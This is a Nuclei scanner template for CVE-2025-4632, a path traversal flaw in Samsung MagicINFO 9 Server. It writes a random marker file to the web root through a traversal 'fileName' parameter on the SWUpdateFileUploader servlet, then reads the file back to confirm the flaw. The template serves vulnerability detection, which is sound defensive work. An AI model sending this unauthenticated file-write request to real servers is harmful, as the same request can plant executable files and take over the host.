id: CVE-2025-4632

info:
  name: "Samsung MagicINFO - Path Traversal"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Improper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server
    version before 21.1052 allows attackers to write arbitrary file as system authority.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-4632&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=magicinfo&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-4632
    cwe-id: CWE-22
  metadata:
    verified: false
  tags: cve,cve2025,magicinfo,file-upload,kev,rce,intrusive,vuln
variables:
  filename: "{{rand_text_alpha(6)}}"
  deviceType: "{{rand_text_alpha(6)}}"
  deviceModelName: "{{rand_text_alpha(6)}}"
  swVer: "{{rand_int(100, 999)}}"
  marker: "{{rand_text_alpha(12)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /MagicInfo/servlet/SWUpdateFileUploader?fileName=./../../../../../../server/{{filename}}.html&deviceType={{deviceType}}&deviceModelName={{deviceModelName}}&swVer={{swVer}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain

        {{marker}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(server, "MagicInfo Premium Server")'
        condition: and
        internal: true

  - raw:
      - |
        GET /MagicInfo/{{filename}}.html HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{{marker}}")'
          - "status_code == 200"
        condition: and